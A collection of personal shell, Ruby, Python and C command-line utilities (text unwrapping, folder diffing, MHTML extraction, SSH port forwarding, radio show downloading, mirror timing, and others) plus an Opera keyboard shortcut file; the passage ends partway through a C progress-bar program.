{ec8030f7-c20a-464f-9b0e-13a3a9e97384} Bugs: https://bugs.launchpad.net/ubuntu/+filebug Origin: Ubuntu Supported: 18m Task: ubuntu-desktop, ubuntu-uec-live, edubuntu-desktop, edubuntu-uec-live, xubuntu-desktop, mythbuntu-backend-master, mythbuntu-backend-slave, mythbuntu-desktop, mythbuntu-frontend, ubuntu-netbook =end <file_sep>#!/usr/bin/env ruby ######################################################## # Unwrap! v0.0002 Copyright (c) 2009 by <NAME> ######################################################## # Unwraps the lines in a text file. # # (In other words, it removes all the \n characters # that were inserted to wrap the lines of text.) # gem "slop", "~> 3.6" require 'slop' DEFAULT_WIDTH = 80 def parse_options Slop.parse(help: true, strict: true) do banner "Usage:\n unwrap [options] [<input_file.txt>]" on :w=, :width, "Width of the document (default: #{DEFAULT_WIDTH} characters)", as: Integer, default: DEFAULT_WIDTH on :s, :stats, "Statistics on line lengths" on :a, :autowidth, "Guess the width of the document automatically." on :m, :merge, "Merge paragraphs" on :v, :verbose, "Increasify verbositiousness" end end def unwrap(lines, width, verbose=false) # TODO: Unwrap lines which are close to line_width and don't end with ".", "!", "?" i = 0 last = lines.size-1 para = [] doc = [] loop do line = lines[i] para << line p line if verbose unless i == last next_words = lines[i+1].split(/\s+/) word_following_wrap = next_words[0] unless word_following_wrap and (line.size + word_following_wrap.size) >= width # new para! # TODO: No space after "conti- nuations" doc << para.join(' ') para = [] end end i += 1 break if i > last end doc << para.join(' ') return doc end def display_statistics(lines) puts "Line length statistics:" puts "-----------------------------" lengths = lines.map(&:size) n = lengths.size sum = lengths.inject(0) { |sum,len| sum + len } puts " lines: #{n}" puts " mean: #{(sum.to_f / n).round(2)}" puts "median: #{lengths.sort[n / 2]}" puts " min: #{lengths.reject{|l| l == 0}.min}" puts " max: #{lengths.max}" puts puts "Histogram (\"<length>: <frequency>\"):" lengths.group_by(&:itself).sort_by(&:first).each do |len, count| puts "#{"%5d" % len}: #{count.size}" end end def merge_paragraphs(pars) end_punct = /[\.\!\?]/ continued_punct = /[\,\-]/ quote = /['"]/ merged = [] acc = [] pars.each do |par| break_here = [acc.last, par].compact.any? do |p| p.empty? or p.upcase == p end or (acc.last and acc.last[/#{end_punct}#{quote}?\s*$/]) if acc.empty? acc << par elsif break_here acc << par merged << acc.join(" ") acc.clear else acc << par end end merged end if $0 == __FILE__ opts = parse_options lines = ARGF.read.gsub(/\n\s+\f/, "\n").lines.map(&:rstrip) if opts.stats? display_statistics(lines) exit end width = opts[:width] pars = unwrap(lines, width, opts.verbose?) pars = merge_paragraphs(pars) if opts.merge? pars.each { |para| STDOUT.write "#{para}\n\n" } end <file_sep>#!/usr/bin/env ruby require 'epitools' BLOCKSIZE=2**14 # 16k read size args = ARGV.map &:to_Path if args.count != 1 puts DATA.read exit 1 end manifest = args.first unless manifest.exists? puts "Error: #{manifest} not found" exit 1 end hashes = manifest.each_line.map { |line| line.strip.split(/\s+/,2) }.select { |a| a.size == 2 }.to_h raise "Manifest is empty" unless hashes.any? raise "Manifest hashes aren't all the same" unless hashes.keys.map(&:size).uniq.size == 1 digest_class = case manifest.ext when "sha256" Digest::SHA256 when "sha1" Digest::SHA1 when "md5" Digest::MD5 else # guess! case hashes.keys.first.size when "7ad80868ed54389b12b7378a9159afa4".size Digest::MD5 when "0310c3720f2cd815d388fea8eb199b34ca9b8a5f".size Digest::SHA1 when "375db95cf5804eb2420e7e9b0c16130b234c2e94bfafb676477eb784e07b7302".size Digest::SHA256 else raise "I dunno what kind of manifest this is!" end end Path["**/*"].each do |path| next if path == manifest puts "* #{path}" digest = digest_class.new path.open do |io| while data = io.read(BLOCKSIZE) digest << data end end if new_filename = hashes[digest.hexdigest] puts " |_ renaming to #{new_filename}" target = path.with(filename: new_filename) if target.exists? puts "ERROR! #{target} already exists!".bright_red else path.rename(filename: new_filename) end end end __END__ Usage: filename-sync <manifest> Purpose: Renames files based on the files' hashes and a supplied manifest. Manifest: A file containing hash/filename pairs, eg: 714h32314029378f9872890awe90f87209734 file.txt 239889gfjrh23f79sdsdlhjawmnv7yz89awj2 otherfile.txt <file_sep>#!/bin/bash sudoifnotroot nano /etc/hosts <file_sep>#!/bin/bash if ! which socat > /dev/null 2>&1; then echo "Error: socat not found. Please install it." exit 1 fi if [ "$1" == "" ]; then echo "usage: sslnet <host>:<port> [<cert-name>]" echo echo "An SSL telnet!" echo echo "Note: <cert-name> is a base filename; .pem and .crt will be" echo " appended automatically." echo echo " If <cert-name> is not supplied, the connection won't be verified." else if [ "$2" == "" ]; then CERTOPTS="verify=0" else CERTOPTS="cert=$2.pem,cafile=$2.crt" fi HOST="$1" echo "* SSL connection to $HOST ($CERTOPTS) opened..." socat -x READLINE OPENSSL:$1,$CERTOPTS fi <file_sep>#!/bin/bash apt-build build-source $* <file_sep>#!/bin/bash sudoifnotroot apt-get purge $* <file_sep>Opera Preferences version 2.1 ; Do not edit this file while Opera is running ; This file is stored in UTF-8 encoding [INFO] NAME=Mine [Application] c ctrl=Copy Platform Windows-Unix-MCE, c ctrl shift=Copy to note Platform Mac, c ctrl alt=Copy to note v ctrl=Paste x ctrl=Cut z ctrl=Undo y ctrl=Redo z ctrl shift=Redo a ctrl=Select all Ins=Toggle overstrike Del=Delete Platform Windows-Unix-MCE, Backspace=Backspace | Back Platform Mac, Backspace=Backspace | Delete | Back Backspace shift=Backspace | Forward | Fast forward Del shift=Cut Ins ctrl=Copy Ins shift=Paste Platform Windows-Unix-MCE, Backspace alt=Undo Plus=Zoom in, 10 "= ctrl"=Zoom in, 10 Add ctrl=Zoom in, 10 -=Zoom out, 10 - ctrl=Zoom out, 10 Dec ctrl=Zoom out, 10 0 ctrl=Zoom to, 100 Platform Windows-Unix-Mac, *=Zoom to, 100 Platform MCE, 1=Zoom to, 100 Platform MCE, 2=Zoom to, 110 Platform MCE, 3=Zoom to, 120 Platform MCE, 4=Zoom to, 130 Platform MCE, 5=Zoom to, 140 Platform MCE, 6=Zoom to, 150 Platform MCE, 7=Zoom to, 160 Platform MCE, 8=Zoom to, 170 Platform MCE, 9=Zoom to, 180 r ctrl=Reload F5=Reload F5 alt=Reload frame Platform Windows-Unix-MCE, Right alt=Forward | Fast forward Platform Windows-Unix-MCE, Left alt=Back Platform Mac, ] ctrl=Forward | Fast forward Platform Mac, [ ctrl=Back Right ctrl=Forward | Fast forward Left ctrl=Back d ctrl shift=Add to bookmarks l ctrl=Focus address field | Go to page d alt=Focus address field | Go to page Home alt=Go to homepage Space ctrl=Go to homepage Platform Mac, Space meta=Go to homepage Platform Mac, m ctrl=Minimize window b ctrl=Focus panel, "bookmarks" | Hide panel, -1 | Set alignment, "hotlist", 0 b ctrl shift="Manage, "bookmarks"" h ctrl=Focus panel, "history" | Hide panel, -1 | Set alignment, "hotlist", 0 h ctrl shift="Manage, "history"" u ctrl=View document source u ctrl shift=View frame source u ctrl alt shift=Validate frame source n ctrl=New browser window t ctrl=New page, 1 w ctrl=Close page, 1 F4 ctrl=Close page, 1 w ctrl shift=Close window F4 alt=Close window Platform Unix-Mac, q ctrl=Exit Platform Windows-Unix-MCE, Tab ctrl=Cycle to next page Platform Windows-Unix-MCE, Tab ctrl shift=Cycle to previous page Platform Mac, Tab alt=Cycle to next page Platform Mac, Tab alt shift=Cycle to previous page Platform Windows-Unix-MCE, F6 ctrl=Switch to next page Platform Windows-Unix-MCE, F6 ctrl shift=Switch to previous page Platform Mac, } ctrl=Switch to next page Platform Mac, { ctrl=Switch to previous page Platform Mac, Right ctrl alt=Switch to next page Platform Mac, Left ctrl alt=Switch to previous page o ctrl=Open document s ctrl=Save document n ctrl shift=New private page p ctrl=Print document Platform Windows-Unix-MCE, F1="Go to page, "opera:/help/index.html"" Platform Mac, ? ctrl="Go to page, "opera:/help/index.html"" ContextMenu=Show context menu Platform Windows-Unix-MCE, F10 shift=Show context menu Platform Mac, m ctrl shift=Show context menu Platform Unix-Mac, i ctrl=Edit properties Enter alt=Edit properties f ctrl=Find /=Find Inline, 1 .=Find Inline, 1 / shift=Find Inline, 2 comma=Find Inline, 2 g ctrl=Find next Platform Windows-Unix-MCE, F3=Find next g ctrl shift=Find previous Platform Windows-Unix-MCE, F3 shift=Find previous Space=Fast forward Esc=Leave access key mode | Cancel current voice Esc shift=Enter access key mode | Leave access key mode Platform Windows-Unix-MCE, F12="Show popup menu, "Quick Preferences Menu"" Platform Windows-Unix-MCE, F12 shift=Customize toolbars, -1 Platform Mac, F12 alt="Show popup menu, "Quick Preferences Menu"" Platform Mac, F12 alt shift=Customize toolbars, -1 Platform Mac, comma ctrl=Show Preferences, -1 F12 ctrl=Show preferences, -1 Platform Windows-Unix-MCE, p alt=Show Preferences, -1 Enter ctrl=Wand Platform Mac, Enter meta=Wand F2 shift=Go to nickname F4 shift=Show panel, -1 | Hide panel, -1 | Set alignment, "hotlist", 0 F4=Set alignment, "hotlist", 6 | Set alignment, "hotlist", 0 F7=Activate hotlist window F11 ctrl=Enable mediumscreen mode | Disable mediumscreen mode Platform Unix, F11 alt=Enable menu bar | Disable menu bar Platform Windows-Unix-MCE, h ctrl alt shift=Hide Opera j ctrl shift=List chat rooms Platform Windows-Unix-MCE, m ctrl=Compose mail Platform Mac, m ctrl alt=Compose mail k ctrl=Get mail k ctrl shift=Send queued mail s ctrl shift=Send mail l ctrl shift="Manage, "links"" j ctrl="Manage, "transfers"" Platform Windows-Unix-MCE, 1 ctrl shift=Focus panel, "search" | Hide panel, -1 | Set alignment, "hotlist", 0 3 alt=Focus panel, "bookmarks" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Windows-Unix-MCE, 3 ctrl shift=Focus panel, "mail" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Windows-Unix-MCE, 4 ctrl shift=Focus panel, "contacts" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Windows-Unix-MCE, 5 ctrl shift=Focus panel, "chat" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Windows-Unix-MCE, 6 ctrl shift=Focus panel, "notes" | Hide panel, -1 | Set alignment, "hotlist", 0 2 alt=Focus panel, "transfers" | Hide panel, -1 | Set alignment, "hotlist", 0 4 alt=Focus panel, "history" | Hide panel, -1 | Set alignment, "hotlist", 0 5 alt=Focus panel, "links" | Hide panel, -1 | Set alignment, "hotlist", 0 1 alt=Focus panel, "windows" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 1 meta=Focus panel, "search" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 2 meta=Focus panel, "bookmarks" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 3 meta=Focus panel, "mail" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 4 meta=Focus panel, "contacts" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 5 meta=Focus panel, "chat" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 6 meta=Focus panel, "notes" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 7 meta=Focus panel, "transfers" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 8 meta=Focus panel, "history" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 9 meta=Focus panel, "links" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, 0 meta=Focus panel, "windows" | Hide panel, -1 | Set alignment, "hotlist", 0 Platform Mac, e meta=Go to line end Platform Mac, a meta=Go to line start Platform Mac, b meta=Previous character Platform Mac, n meta=Next line Platform Mac, f meta=Next character Platform Mac, p meta=Previous line Platform Mac, y meta=Paste Platform Mac, k meta=Range go to line end & Cut Platform Mac, d meta=Delete Platform Mac, h meta=Backspace 1 ctrl=Go to speed dial, 1 2 ctrl=Go to speed dial, 2 3 ctrl=Go to speed dial, 3 4 ctrl=Go to speed dial, 4 5 ctrl=Go to speed dial, 5 6 ctrl=Go to speed dial, 6 7 ctrl=Go to speed dial, 7 8 ctrl=Go to speed dial, 8 9 ctrl=Go to speed dial, 9 Feature ExtendedShortcuts, 0=Zoom in, 10 Feature ExtendedShortcuts, 8=Zoom in, 100 Feature ExtendedShortcuts, 9=Zoom out, 10 Feature ExtendedShortcuts, 7=Zoom out, 100 Feature ExtendedShortcuts, 6=Zoom to, 100 Feature ExtendedShortcuts, x=Forward Feature ExtendedShortcuts, z=Back Platform Win2000-Mac-MCE-Unix Feature ExtendedShortcuts, v=Speak selection pageup ctrl=Switch to previous page pagedown ctrl=Switch to next page Feature ExtendedShortcuts, 4=Minimize page Feature ExtendedShortcuts, 5=Maximize page | Restore page Feature ExtendedShortcuts, x shift=Fast forward Feature ExtendedShortcuts, z shift=Rewind Platform Mac, i ctrl alt=Attach Developer Tools Window Platform Windows-Unix-MCE, i ctrl shift=Open Developer Tools Window d ctrl=Paste and go up alt=Switch to previous page down alt=Switch to next page <file_sep>#!/bin/bash exec git pull --unshallow<file_sep>#!/usr/bin/env ruby ######################################################## require 'mhtml' require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## class Mhtml::RootDocument def file_path "index.html" end def each return to_enum(:each) unless block_given? yield self sub_docs.each { |sd| yield sd } end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: mhtmldump [options] <mhtml file>" on "l", "list", "List documents in MHTML file" on "x", "extract", "Extract documents to (current or supplied) direcory" on "C=", "dir", "Target directory (creates it if it doesn't exist)" end args = ARGV if args.empty? puts "Error: You must specify the mhtml filename." puts puts opts exit 1 end ######################################################## mhtml_filename, *files = args path = Path[mhtml_filename] mhtml = Mhtml::RootDocument.new(path.read) if opts.list? puts "<8>* <15>Listing documents in <14>#{path.filename}<7>...".colorize mhtml.each do |doc| puts " |_ <7>#{doc.file_path} <8>(<9>#{doc.body.size} <7>bytes<8>)".colorize end else if opts[:dir] outdir = Path[opts[:dir]] else outdir = Path[path.basename] end if outdir.exists? puts "Error: #{outdir} already exists." exit 1 end outdir.mkdir_p puts "<8>* <15>Extracting <11>#{path.filename} to <14>#{outdir}<7>...".colorize outdir.cd do mhtml.each do |doc| outfilename = CGI.escape(doc.file_path) puts " <8>|_ <7>#{doc.file_path} <8>(<9>#{doc.body.size} <7>bytes<8>)".colorize open(outfilename, "wb") { |f| f.write(doc.body) } end end end <file_sep>#!/usr/bin/ruby ############################################################################# ## REQUIREMENTS %w[ rubygems epitools set ostruct shellwords optparse optparse/time ].each { |r| require r } ############################################################################# ############################################################################# ## GLOBALS MY_VERSION = "0.2" OPTIONS = OpenStruct.new ############################################################################# ############################################################################# class Result include Comparable attr_accessor( :root, :path, :path_without_root, :message ) def initialize(root, path, message=nil) root = root + "/" unless root[-1..-1] == "/" @root = root @path = path @path_without_root = path.startswith?(root) ? path[root.size..-1] : path # @path_without_root = path.sub(/^#{Regexp.escape root}/, '') @message = message end def to_s "<white>#{path_without_root}</white>#{" <light_blue>(<light_cyan>#{message}</light_cyan>)</light_blue>" if message}".colorize end ## Comparable overrides def hash path_without_root.hash end def eql?(other) path_without_root.eql?(other.path_without_root) end def <=>(other) path_without_root <=> other.path_without_root end end ############################################################################# ############################################################################# class Folder attr_accessor( :root, :paths, :size_to_path, :name_to_path, :path_to_size ) def initialize(root) @root = root puts "<light_yellow>* Scanning <light_white>#{root}</light_white>...</light_yellow>".colorize puts " <white>|_ <light_blue>checking for available disk space...".colorize root = Shellwords.escape(root) @paths = Dir[ File.join(root, "**/*") ].select {|path| not File.directory? path } @size_to_path = {} @name_to_path = {} @path_to_size = {} puts " <white>|_ <light_cyan>reticulating splines...".colorize @paths.each do |path| begin dir, filename = File.split path size = File.size path @size_to_path[size] = path @name_to_path[filename] = path @path_to_size[path] = size rescue SystemCallError => e puts e.to_s.light_red end end puts " |_ done! found <light_white>#{@paths.size}</light_white> files.".colorize puts end # # Compare one folder to another. # # Returns 2 arrays: "common" files, and files "unique" to this folder. # def compare_to(other, skip=[]) common = [] unique = [] #p ["skip:", skip.size] #p ["first few:", skip[0..10]] skip = Set.new(skip.map{|p| p.path}) name_to_path.each do |name, path| size = path_to_size[path] opath_samesize = other.size_to_path[size] opath_samename = other.name_to_path[name] next if skip.include? opath_samename or skip.include? opath_samesize r = Result.new(root, path) if opath_samesize and opath_samename # same size, same name common << r elsif opath_samename # same name, different content osize = other.path_to_size[opath_samename] diff = (size - osize).abs r.message = "#{diff} bytes #{size > osize ? "<light_green>larger</light_green>" : "<light_red>smaller</light_red>"}" unique << r elsif opath_samesize # same size, different name if OPTIONS.verbose puts "<yellow>* Size matches, comparing content:\n <light_cyan>#{path}\n <light_white>#{opath_samesize}".colorize end if content_probably_matches?(path, opath_samesize) # same content (probably) oname = File.split(opath_samesize).last r.message = "other name: #{oname}" common << r else # different content unique << r end puts if OPTIONS.verbose else unique << r end end [common, unique] end end ############################################################################# ############################################################################# def content_probably_matches?(a, b, sample_percent = 0.001) sizea = File.size a sizeb = File.size b raise "Files must be the same size" unless sizea == sizeb raise "Files must exist" unless [a,b].all? { |f| File.exists? f } size = sizea block_size = 2**14 # 16k blocks (average filesystem block size) bytes = (sizea * sample_percent).to_i cmp_blocks = bytes / block_size total_blocks = size / block_size random_blocks = ( [0] + (1...cmp_blocks).map{ (total_blocks*rand).to_i } + [[0, total_blocks-1].max] ).uniq.sort test_positions = random_blocks.map{|block| block * block_size } #local_variables.map{|v| "#{v} = #{eval(v).inspect}"}.each{|v| puts v} begin fa, fb = open(a), open(b) result = test_positions.all? do |pos| fa.seek(pos); fb.seek(pos) fa.read(block_size) == fb.read(block_size) end fa.close; fb.close rescue SystemCallError => e puts e.to_s.light_red result = false end result end ############################################################################# ############################################################################# # # Returns: [unique_to_a, common, unique_to_b] # # Like a Venn diagram: ( unique_to_a ( common ) unique_to_b ) # def compare_folders(a, b) puts "* Comparing contents...".light_yellow puts if OPTIONS.verbose common_a, unique_to_a = a.compare_to(b) common_b, unique_to_b = b.compare_to(a, common_a) common = common_a | common_b puts [unique_to_a, common, unique_to_b] end ############################################################################# def title(msg) puts ("-"*50).light_blue puts "<light_cyan>#{msg}".colorize puts ("-"*50).blue end def display_unique(folder, unique) title "Only in <light_yellow>#{folder.root}</light_yellow> <cyan>(<light_cyan>#{unique.size}</light_cyan> <light_blue>files</light_blue>)</cyan>:" display_results unique puts end def display_common(common) title "Common to both <cyan>(<light_cyan>#{common.size}</light_cyan> <light_blue>files</light_blue>)</cyan>:" display_results common puts end def display_results(results) results.sort.each do |r| puts r end end ############################################################################# def parse_options! ARGV.push("--help") if ARGV.empty? OptionParser.new do |opts| opts.banner = "Usage: folderdiff [options] <folder a> <folder b>" opts.separator " " opts.separator "Specific options:" opts.on("-c", "--common", "Show common files") do |opt| OPTIONS.common = true end opts.on("-v", "--verbose", "Verbose mode") do |opt| OPTIONS.verbose = true end opts.on("", "--version", "Version information") do |opt| puts "folderdiff v#{MY_VERSION}" puts exit end # No argument, shows at tail. This will print an options summary. # Try it and see! opts.on_tail("-h", "--help", "Show this message") do puts opts puts exit end end.parse! end ############################################################################# def main parse_options! raise "Must pass 2 folders to compare as parameters" unless ARGV.size == 2 raise "Both folders must exist" unless ARGV.any? and ARGV.all?{|f| File.exists? f} a,b = ARGV.map{|path| Folder.new path } unique_to_a, common, unique_to_b = compare_folders(a, b) display_common(common) if OPTIONS.common display_unique(a, unique_to_a) display_unique(b, unique_to_b) end ############################################################################# if $0 == __FILE__ main end ############################################################################# <file_sep>#!/usr/bin/env ruby require 'epitools' class Leecher SHOWS = %{ stolen-moments R&B, Soul, and so much more. no-mans-land Indo Arabic Dub to Afro Gypsy Electronica (mixing primitive rhythms with progressive beats) vinyl-from-the-crypt Guests select music from the "Crypt" (the vinyl library) }.lines.map(&:strip).reject(&:blank?).map {|line| line.split(/\s+/, 2) } ROOT = "/home/epi/mp3/[CIUT.fm]" def browser @browser ||= Browser.new end def modified_date(url) h = browser.head(url) date = Date.parse h.header["last-modified"] date.iso8601 end def url_for_show(show) unless show =~ /^http:/ if show =~ /^\d+$/ name = SHOWS[show.to_i].first else name = show end show = "http://www.ciut.fm/shows/music-shows/#{name}/" end show end def get(show) show = url_for_show(show) puts "<8>#{"-"*60}".colorize puts "<11>Show: <9>#{show}".colorize puts "<8>#{"-"*60}".colorize puts page = browser.get(show) tag = page.search("script").find{|tag| tag.text["MP3J_PLAYLISTS ="] } if tag and tag.text =~ /\bmp3:\s*"([^"]+)"/ url = $1.from_base64 else raise "Couldn't find MP3 in HTML" end path = Path[url] outfile = File.join ROOT, "#{path.basename}-#{modified_date(url)}.#{path.ext}" puts puts "* wget..." puts " |_ in: #{url}" puts " |_ out: #{outfile}" puts #cmd = ["wget", "-c", url, "-O", outfile] cmd = %w[curl -C - -o] + [outfile, url] system(*cmd) end def show_shows SHOWS.each.with_index do |(name, desc), i| puts "<9>#{i}<8>. <11>#{name}\n\t<14>#{desc}".colorize end end end if $0 == __FILE__ args = ARGV leecher = Leecher.new if args.any? args.each { |arg| leecher.get(arg) } else leecher.show_shows end end <file_sep>#!/bin/bash if [ -f "$1" ]; then VFOPTS="`getfattr --match=.vf -d --only-values "$1"`" fi if [ "$VFOPTS" == "" ]; then exec mpv "$@" else exec mpv -vf $VFOPTS "$@" fi <file_sep>#!/bin/bash HOST="$1" shift if [ "$1" == "" ]; then echo "usage: ssh-forward <user@host> <port(s)...>" else ssh -2 -q -f -N -g `for port in $*; do echo -L $port:localhost:$port; done` $HOST fi <file_sep>#!/bin/bash # purge the configs of all deleted debian packages # (currently doesn't work :D) export COLUMNS=500 PKGS=`dpkg -l|grep -E "^rc\w"|awk '{print $2}'` echo Purging $PKGS... #dpkg --purge $PKGS unset COLUMNS <file_sep>#!/bin/bash if (( $# != 2 )); then echo "usage: qemu-create-overlay-image <base image (read only)> <overlay image>" exit 1 fi BASE="$1" OVERLAY="$2" if [ -f "$OVERLAY" ]; then echo "Error: overlay image ($OVERLAY) already exists." exit 2 fi if [ ! -f "$BASE" ]; then echo "Error: base image ($BASE) does not exist." exit 3 fi qemu-img create -f qcow2 -F qcow2 -b "$BASE" "$OVERLAY" <file_sep>#!/usr/bin/env ruby ############################################################################# CODE_PATHS = %w[~/work ~/code ~/src] BIN_PATHS = ENV["PATH"].split(":") SUBLIME_BINS = %w[ subl subl3 ~/opt/sublime/sublime_text /opt/sublime/sublime_text /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl ] OTHER_EDITORS = %w[ nano vim leafpad mousepad ] ############################################################################# def which_dir(dir) if dir == "scripts" sd = File.expand_path("~/scripts") if File.directory?(sd) return sd end else CODE_PATHS.map { |d| File.expand_path d }.each do |path| potential_path = File.join(path, dir) return potential_path if File.exists? potential_path end end nil end def which_bin(bin) BIN_PATHS.each do |dir| path = File.join(dir, bin) return path if File.file? path end nil end def find_bin(bins) bins.each do |fn| if fn[%r{[~/]}] fn = File.expand_path(fn) return fn if File.exists? fn else if bin = which_bin(fn) return bin end end end nil end def sublime_on_current_desktop? require 'epitools/wm' WM.current_desktop.windows.find { |w| w.title["Sublime Text"] } end ############################################################################# opts, args = ARGV.partition { |arg| arg[/^--?\w/] } files = args.map do |arg| if File.exists?(arg) or arg[%r{^\./.}] arg else which_dir(arg) || which_bin(arg) || arg end end if sublime_bin = find_bin(SUBLIME_BINS) opts << "-n" unless opts.include?("-n") or sublime_on_current_desktop? cmd = [sublime_bin, *opts, *files] fork { IO.popen(cmd, :err=>[:child, :out]) { |io| io.read } } elsif bin = find_bin(OTHER_EDITORS) cmd = [bin, *files] exec *cmd else puts "Error: Couldn't find an editor." exit 1 end <file_sep>#!/usr/bin/env python2 """ Profile a script using hotshot and kcachegrind. This program runs a script under the control of the Python hotshot profiler and converts the hotshot results into the Kcachegrind format. It finally calls kcachegrind to visualize the output. Usage: pycachegrind.py script.py [script args] Any arguments after your script name are passed directly to the script in sys.argv. This program leaves two files on disk: - script.py.prof: hotshot profile results. - script.py.cgrind: hotshot results converted to cachegrind format. Requirements: - kcachegrind. Used to visualize the results. It includes hotshot2calltree, the default converter from hotshot to cachegrind format. Optional: - hotshot2cachegrind.py. This is hotshot2calltree's ancestor, and if you experience any problems with h2ctree, you may want to test this script instead (I'm not sure, but I've seen a few minor problems that /might/ be bugs in h2ctree). I've put up a copy of hotshot2cachegrind on the net, since it is not easy to find: http://amath.colorado.edu/faculty/fperez/python/profiling You'll need to modify a global constant in the source if you wish to use hotshot2cachegrind instead of hotshot2calltree. Acknowledgements: This code is heavily inspired in scripts written by <NAME> and Nikolai Hlubek, and posted to the SciPy mailing lists. """ #***************************************************************************** # Copyright (C) 2006 <NAME>. <<EMAIL>> # # Distributed under the terms of the BSD License. # #***************************************************************************** __author__ = '<NAME> <<EMAIL>>' __url__ = 'http://amath.colorado.edu/faculty/fperez/python/profiling' __license__ = 'BSD' # Tweak any constants you may want here # Select the converter from hotshot format to callgrind format HOTSHOT2CG = 'hotshot2calltree' #HOTSHOT2CG = 'hotshot2cachegrind.py' ############################################################################# # No user-serviceable parts below. ############################################################################# # Stdlib imports import hotshot import os import sys # Main code starts. The run() routine is as simple as possible so that it # produces the least amount of extraneous information in the profile results. def run(code): loc = locals() loc['__name__'] = '__main__' loc['__file__'] = sys.argv[0] exec code in loc def main(): # Simple args processing try: fname = sys.argv[1] except IndexError: print __doc__ sys.exit(1) # Read and compile source f = file(fname,'r') source = f.read() f.close() # Precompile the source so we don't see compilation times in the profile. # Let any generated exceptions propagate out. code = compile(source,fname,'exec') # Build filenames for outputs base_fname = os.path.basename(fname) prof_fname = base_fname+'.prof' cgr_fname = base_fname+'.cgrind' # Build the profiler object prof = hotshot.Profile(prof_fname, lineevents=1) # Modify sys.argv so the executed code sees it as if it were running # standalone sys.argv[:] = sys.argv[1:] try: prof.runcall(run,code) finally: prof.close() # Post-process the hotshot output so it can be read by kcachegrind os.system('%s -o %s %s' % (HOTSHOT2CG,cgr_fname,prof_fname)) os.system('kcachegrind %s &' % cgr_fname) if __name__ == '__main__': main() <file_sep>#!/bin/bash get_hostname_url() { local n=${1#*://} echo ${n%%/*} } time_cmd() { local proc=$(cut -d ' ' -f1 /proc/uptime) local start="$(echo $proc | cut -d . -f1)$(echo $proc | cut -d . -f2)" $@ >/dev/null 2>&1 || return proc=$(cut -d ' ' -f1 /proc/uptime) local end="$(echo $proc | cut -d . -f1)$(echo $proc | cut -d . -f2)" echo $(( $end - $start )) } if [ "$1" == "" ]; then echo "usage: bestmirror <file full of http urls>" exit 1 fi #MIRRORS=$(wget -qO- "http://rsync.alpinelinux.org/alpine/MIRRORS.txt") MIRRORS=$(cat "$@") DATA="" #find best for URL in $MIRRORS; do TIME=$(time_cmd wget -T 1 -q ${URL%/} -O /dev/null) if [ -n "$TIME" ]; then echo "$(get_hostname_url $URL) was $TIME" DATA="$DATA$TIME $URL\n" fi done #DST="bestmirrors.txt" #echo -e $DATA | sort -n | tail -n +2 > $DST #[ $? = 0 ] && echo file $DST created #BEST=$(head -n1 $DST | cut -d ' ' -f2) #echo "Best mirror is: $BEST" echo -e $DATA | sort -n | tail -n +2 | less <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: gem-reverse-deps [options] <gem-name>" on "i", "info", "Display info about each gem" on "v", "verbose", "Display lots of info about each gem" on "s", "sort", "Sort by downloads" # on "b=", "blong", "desc", default: "" end [opts, ARGV] end def get(url) cmd = ["curl", "--silent", url] IO.popen(cmd, "rb") { |io| JSON.load(io) } end opts, args = parse_options args.each do |arg| $stderr.puts "<8>==== <14>#{arg} <8>==============================".colorize $stderr.puts names = get "https://rubygems.org/api/v1/gems/#{arg}/reverse_dependencies.json" # names = names.take(3) if opts[:info] infos = Enumerator.new do |y| names.map do |name| result = get("https://rubygems.org/api/v1/gems/#{name}.json") y << result result end end if opts[:sort] $stderr.puts "* Fetching info for #{names.size} gems..." pb = ProgressBar.new(" |_ progress", names.size) infos = infos.each { pb.inc }.sort_by { |j| -j["downloads"] } $stderr.puts $stderr.puts end if opts[:verbose] infos.each do |info| pp info puts end else lesspipe do |less| infos.each do |info| less.puts "<11>#{info["name"]} <8>(<7>v<15>#{info["version"]}<8>)".colorize deets = info.slice("info", "downloads", "version_downloads", "homepage_uri", "project_uri", "source_code_uri") deets["deps"] = info["dependencies"]["runtime"]. map { |dep| "#{dep["name"]} <9>#{dep["requirements"]}</9>" }. join(", ") deets.each do |k,v| less.puts " <1>#{k}<8>: <7>#{v.is_a?(Integer) ? v.commatize : v}".colorize end less.puts end end end else names.each { |name| puts name } end end<file_sep>/* MPB(1) General Commands Manual MPB(1) NAME mpb - more progress bar https://github.com/lecram/mpb SYNOPSIS mpb [-o] [-v] [-s] [-wWIDTH] [TOTAL] DESCRIPTION Show progress of lines read from stdin in stderr. OPTIONS -o output stdin to stdout -v show current line -s show activity spinner -wWIDTH set width of progress bar (default = 32) TOTAL number of lines expected to be read until completion of task if TOTAL is not given or it is zero, the progress bar will not be shown EXAMPLES Use seq(1) to test drive mpb: $ n=5000; seq $n | mpb -vsw50 $n Show path of file currently being extracted by tar(1) (without progress bar): $ tar vxf foo.tgz | mpb -v Pre-compute the number of files in archive to add extraction progress bar: $ f=foo.tgz; n=$(tar tf $f | wc -l); tar vxf $f | mpb -v $n 2020-04-02 MPB(1) */ #include <stdio.h> #include <stdlib.h> #include <limits.h> #define DEFAULT_WIDTH 32 #define LINE_MAX (1 << 12) static char spinchars[] = "|/-\\"; static unsigned spinindex = 0; static char line[LINE_MAX]; static unsigned lastfill = UINT_MAX; static unsigned lastpercent = 101; void print_progress(unsigned width, unsigned percent, int showbar, int showspinner, int showline) { unsigned i, fill; fill = percent * width / 100; if (showspinner) { if (percent == 100) spinindex = 0; fprintf(stderr, " (%c)", spinchars[spinindex++]); spinindex %= 